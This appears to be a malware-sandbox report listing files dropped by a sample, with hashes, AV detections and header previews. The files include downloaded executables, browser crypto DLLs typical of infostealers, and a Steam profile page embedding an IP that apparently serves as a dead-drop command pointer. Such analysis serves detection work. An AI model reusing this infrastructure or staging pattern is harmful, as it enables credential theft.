Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IUqoPnH3eiygxjqgC368dFJD.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:MLU84qpE4KlKDE4KhKiKhIE4Ks
MD5:	8378C2E2DA2FDD2FB813AA6E18705667
SHA1:	EFA4CF7D0E19099EB95C3BCA32F6A5D111BFFF30
SHA-256:	C12EA9B40BA290B624BB2DDAFD4CB2CDC1C05AE1F5F142899D53CF9C54DFFA06
SHA-512:	69C0E61617DFD6F843ECBA8D9328D6737BADAFB622236D3AC79E03590AFAFC5523E10D5E52AD8ACABD71EF9F4B202A654A386E1DF799CC9219CA4678145CDFDD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kqS23MOytx.exe.log

Download File

Process:	C:\Users\user\Desktop\kqS23MOytx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lDkIjEVcMx3R04EqAu4plnem.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3058688
Entropy (8bit):	7.736687471087767
Encrypted:	false
SSDEEP:	49152:0ZtPveU3miDZ7Ip3nPAo/4kDaJXupYeZ7StUoZDMT0bUW8O:AtPveU31yf3/4IQUYrt5MqUR
MD5:	D4AC1A0D0504AB9A127DEFA511DF833E
SHA1:	9254864B6917EBA6D4D4616AC2564F192626668B
SHA-256:	A29C9EBECBE58F11B98FA8F685619E46BBE0A73CA7F770A71A14051AA0BD9848
SHA-512:	59B707D1C4F3C66337EC2F913DE4B3506786A31108FC621BDBE7201490E91B0F7B70505763F71D53EEE0EAACF477DC6EF9CD50769881654DAF1B678EAAF994C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F....................,...........,.. ....,...@.. ....................... /...........@.................................`.,.K.....,.\...................../.......,.............................................. ............... ..H............text.....,.. ....,................. ..`.sdata........,.......,.............@....rsrc...\.....,.......,.............@..@.reloc......../.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0c13d2f0ed_ImpressedHub[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	913051
Entropy (8bit):	7.830131541214044
Encrypted:	false
SSDEEP:	24576:tEbCyouWvEBYeO3QnE4t4BVb5iaSHLKvm+pq6GabL8Z:2WpM4apHLCm+M6l/o
MD5:	2F5226B4116CE79AFB6DCB32FA647954
SHA1:	15F395C9A4A894A660D318A6779094D311F0A1F7
SHA-256:	8FEBC589FC4DE7B009D3E406FDDBA66E389D5544BC5FAD44D03F712EBF6C2BFA
SHA-512:	7FE94C2ADF2D5526A9798B1FDDF62984B49787B5C0ED2E9EF2AEB765BA9922ECDA8D71FE7966452B3E84A4B84E37096F5DD9C0E700F99DC94FE5D261C36C1013
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8............@..........................`............@.................................4........@..........................d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc........@......................@..@.reloc..2....P......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PENDXGKW[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2267560
Entropy (8bit):	7.958355114381863
Encrypted:	false
SSDEEP:	49152:+pz3Pkl9C5YsSCtqMW5W3s9cMqh+QdncgdUgYT1Vlz2sTyNX:+pjklcSLMx3s9PqJJcKOz9TWX
MD5:	3618E31C4BBB164B9BA20250D25628A3
SHA1:	0C9E23ABF8A883B9B0792AA40D7EDF2F8E9D37CA
SHA-256:	B241DFCD5988EDB1286F4E45C0FBDBBD159D2F350B17DEB9FCE80B9236142BE7
SHA-512:	10A393BE4C527F8865159E73137EA9974654985B68E72089D3722D8D239FD88689234A77DA47EA802C3978BBECB64527B4467E63005F5ADC6A17DBFB07F7F27A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...~.&L.....................................0....@..........................0.......3.......................................P.......................................................................................0...............................text............................... ..`.rdata...0...0...2..................@..@.data...,)...p.......H..............@....rsrc................P..............@..@........U.......SVWj'.....u..v..=`2A..6P......P..e......~..v8.^..3......h.3A.P..........P......P..p1A..E..E....;F.r......P.,f..Y.-..j...t1A...t$..l....3.9..wA.t...@....9D$.t..t$.Ph.....5.wA....2A.3.....D$..`...\|$..u..@.....3.....D$...V...t...P.Q...^....T$.V.t$......f..BBFFf..u.^.L$.3.f9.t.@f.<A.u..S.\$.V..C;^.tLW3.j.Z...........Q......3.9F.Y~.9F.~...f..Af..G@;F.\|..6....Y.F..>f.$G..^._^[...U..QQ..lwA..uVj.j..E.P.5.wA...l1A...t>.E.;E.w6r..E.;E.s,j*.....P.He.....YYt...(wA.j.....@... .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\huna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1793024
Entropy (8bit):	7.945102321158745
Encrypted:	false
SSDEEP:	49152:QpmlJkbrv8l4VUJbL7Ly9QhXNe1A0KatPa+gB:QKJGQCVszqQHR0ja+U
MD5:	9EE7D1FB0F1E8A7A998DA096B4DA22A9
SHA1:	11CF686CB71EA7FBDE2C0448DDD1F12AB44A393E
SHA-256:	7394ADBF1FE4A07AA08D1E7D25C10B28994EB7EB8671B8EF767C349B5B44C37D
SHA-512:	8AD5940613076E0EC4A55DE21D21473EA73C2FE55C61B7C1B9AB444028290E1C987AC458DC59CD7356A692CF725EB285099BE22CDF678D00F42A2BF23642AB1B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B".......h...........@...........................h...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... ..*...$......N..............@...trzlrlhz......N......P..............@...xbmoezwd.....ph......6..............@....taggant.0....h.."...:..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4396288
Entropy (8bit):	7.9984690907708
Encrypted:	true
SSDEEP:	98304:KBPC4/dWqG1a/RTuutb7/ZnNJ9f+TkId0Bg2C4:sPC4//ZyKfNNJwXd0Bg2C
MD5:	4D507C9C74752CCC691C56AF0E3C09E8
SHA1:	AA5D9A02C082896DD28C5649D622F654ED183F11
SHA-256:	2B5DDCAFF975650F9155E6061F012521F3095611F2CD93FFFF023B6F0CA9CEE4
SHA-512:	31CECD77FD29DFDE494DA59C9485AA57C9E18666DA084D136D14A2E1449A2CB2E1376577A2E4F77229853530757079902B174BC54A6EBE3018C5DF4EB21B619D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@......G.D..........@..............................P........,............B.`...........................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....L................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66cdfc485c6f9_instruction[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5451592
Entropy (8bit):	7.223665701999716
Encrypted:	false
SSDEEP:	98304:4TobfcOYHoZYPWfyu9LcUp5+ZSoue+BULFXXXX1NRq:2+kOco1vxP+ZSu+ynq
MD5:	0A7F5D0B4DAB9C77DC68DB0EA99B0058
SHA1:	E99B374879D91256E8DC4F3891C5C2D5F344CC0C
SHA-256:	ABEA6EE012F90AFA881358EDE9697E15536ADDEC7CE52F4D8BDC9429F56952A2
SHA-512:	6AFA7B662BFD13AA171C1B46AC6FDF0674267B4B7E3094CCAFDBBAC184E3DC67EF0D2EA1C26D4EA465C3A264E7B3A95D1C66241279AB08DF946BEBDFB0E98606
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)...................PB..P......~oB.. ....B...@.. ....................... S.......S...@.................................0oB.K.....B..I............R.H.....S......nB.............................................. ............... ..H............text....OB.. ...PB................. ..`.sdata..b.....B......TB.............@....rsrc....I....B..J...XB.............@..@.reloc........S.......R.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0879618b6b_File[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6604864
Entropy (8bit):	7.209519410738763
Encrypted:	false
SSDEEP:	98304:VVFSDIq56ixXFufE6JJh60V+A1kxH8Tio1NEAyKGC2TRTS:VVFSDIslxXwsmJ40V+KsEv1ZJKdu
MD5:	BD2891236510C953D469E346D092F0C7
SHA1:	6409A3259B18ECF91D2FF6A43FF319C2F8158BE2
SHA-256:	1CF403233A05FD6140F33DF350F8EDCCF51EEA02746C6BA4AB3E31B32B8BAB44
SHA-512:	409ABB8CE3382297BB669E7B7EDFA44B0C2166831A6212223237245CBA0595CF35592EC9755C839A69372BD0A4E96C74B98E7BCA375A82B3E0707658D4B5802D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....c...................M...........M.. ....M...@.. ........................d.......d...@.................................p.M.K.....M..............:d.@.....d.......M.............................................. ............... ..H............text....M.. ....M................. ..`.sdata........M.......M.............@....rsrc.........M.......M.............@..@.reloc........d......8d.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66ce00c2c1a2c_doz[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6497280
Entropy (8bit):	7.654418976464022
Encrypted:	false
SSDEEP:	98304:n4ItqPNZrAUcblYGW70NPPYi8SFJkOV2TgC6fGFVLOa/xfosZrG0tA:n47PNZPmWQJPYi8mkTglSJOa11xG
MD5:	C835AA61191A38F357333FFF57F6C81A
SHA1:	5319123A505E379A75F00EE5A51588A97B2BDAD8
SHA-256:	AE5960C2EB7035BFE0C9A2233E4B8F965C39815A49558A19C025B7BE5CF6E5FE
SHA-512:	2864B0D47287DAE58D2F46AE7A5EDFD2B0A274E05706A7718DCFF7F8C908D3B6E5B8550A2C978CDC3782535FD864092A20A2836FD25F7A7A6CC61D589F582F14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....0...................2..~0.....~.2.. ....2...@.. ........................c...........@.................................0.2.K.....3.Du0...................c.......2.............................................. ............... ..H............text.....2.. ....2................. ..`.sdata........2.......2.............@....rsrc...Du0...3..v0...2.............@..@.reloc........c......"c.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.984051528678991
Encrypted:	false
SSDEEP:	6144:zKKOAlrAtx7WiWOdkUsn18kq1viAXMFTd7r9pq8CG6UKBqdx7EO:zKLYUtcrOs1yeFRPzbCGQYx7EO
MD5:	087F21847D13D50158683C834471728C
SHA1:	6E0CAF480014EB6239CBE757F9A75E4B5594AE69
SHA-256:	353871B38BB73FFB940B773C92849796C4C71949D5FFC9EA55103A8F41DABB74
SHA-512:	10B6BD132E219FCE9F5AE27B648305E412BBD64FBFABB1C67E99B30CE088914DB0B2D1750861362F28EE6E0FE2301B35878F22D06DE7FC3CF177A4216FBF3DB6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@............`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................S..a.....c?.6..U.CMf'.<.s.oo..<C.q.wN.e..i...e4+...........R..1br...IUU<.N...\|c.VGH...$.&~.+....<38....tR]B.z.4-oC.{......{9...x0w.I7._.;!'q..U...?.`../.+,P.M......8..}.3j.$.Y=2...).W.].tZ.>..g2.i-.....I..[.w.....u..........h..a.3.Q....y.......=c2..n......Q.J>...=.f..w..E-`..../.....'.........g.........$.1sW...........l.....S..>.a.....g.h..zK......._oB3%.c.Z.)V.gg.._..0...;<f..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9755a01_sbwd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	212520
Entropy (8bit):	7.967073935527294
Encrypted:	false
SSDEEP:	6144:6iESlaraEqoRhgln8pp/TmFAlswna+STECEO:J7mlN08PCF+aDECEO
MD5:	7FEE72EA1DD13C340355BAA7FE9C574A
SHA1:	27896F73EDDC109BBC669B4B1054A60E0C87BBFC
SHA-256:	A5F93EDE5291955FC129FA0DAE4DC954FD3CA29D2D975DE969DC563C0D10085E
SHA-512:	7B585FCC523E8C64847D1C70F744D4053D03A75C37F76E1264A6165AF8A6E2E9CC73D2677DE24E81C2C4EC665798E05DFF5BC20C3956B7A2901798D090A0D381
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................+... ...@....@.. ...............................K....`.................................X+..S....@..................(&...`...... ............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......x................................................................%..y.....w.U%.B......N2.9p.............@..V.%.%.7...=.:.....u;7.y.&....R.J.[.yA.4-.F... .@.6.n.N..3.9i....w...;p.s.W...m.!.......2.....N....1..~.....}E..~.i=B....t..&bc`w1.{.l..%m.U#8.R...........j&.<.z..x...q.......n..;.t....ue...%r34.Gxu.......U.\.`.......V..,.....tX..\|<........1.^+..?.M...f.!,..v..e..M..f.2....C..`...`....D.#Z.Agp........-+...-...W.....KM._4..".)..O..6.#,..t...I

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\76561199761128941[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34735
Entropy (8bit):	5.401308057060986
Encrypted:	false
SSDEEP:	768:Kdpqme0Ih3tAA6WGOmfcDAVTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2SA:Kd8me0Ih3tAA6WGOmFVTBv++nIjBtPFl
MD5:	D2F69FE6447DE20E3D676B4FACA5F416
SHA1:	B4CF4B9C5F3A1BFF2E2D5237020F603B9DBA478E
SHA-256:	7F8F5909E910D2CCF2FC94D41C5CEABDD1AF4775A6071DFDFA3B2446AA2295B9
SHA-512:	6603049AC9699512ECAF762A98FAA96AAF24287DC0A829EC07DB89BDC7A2FE34BC68F32FA904F8369226CE263D2447C8A44BE8B9E3990FFB49281E0608EC04F0
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: b@b# https://94.130.188.148\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link hr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
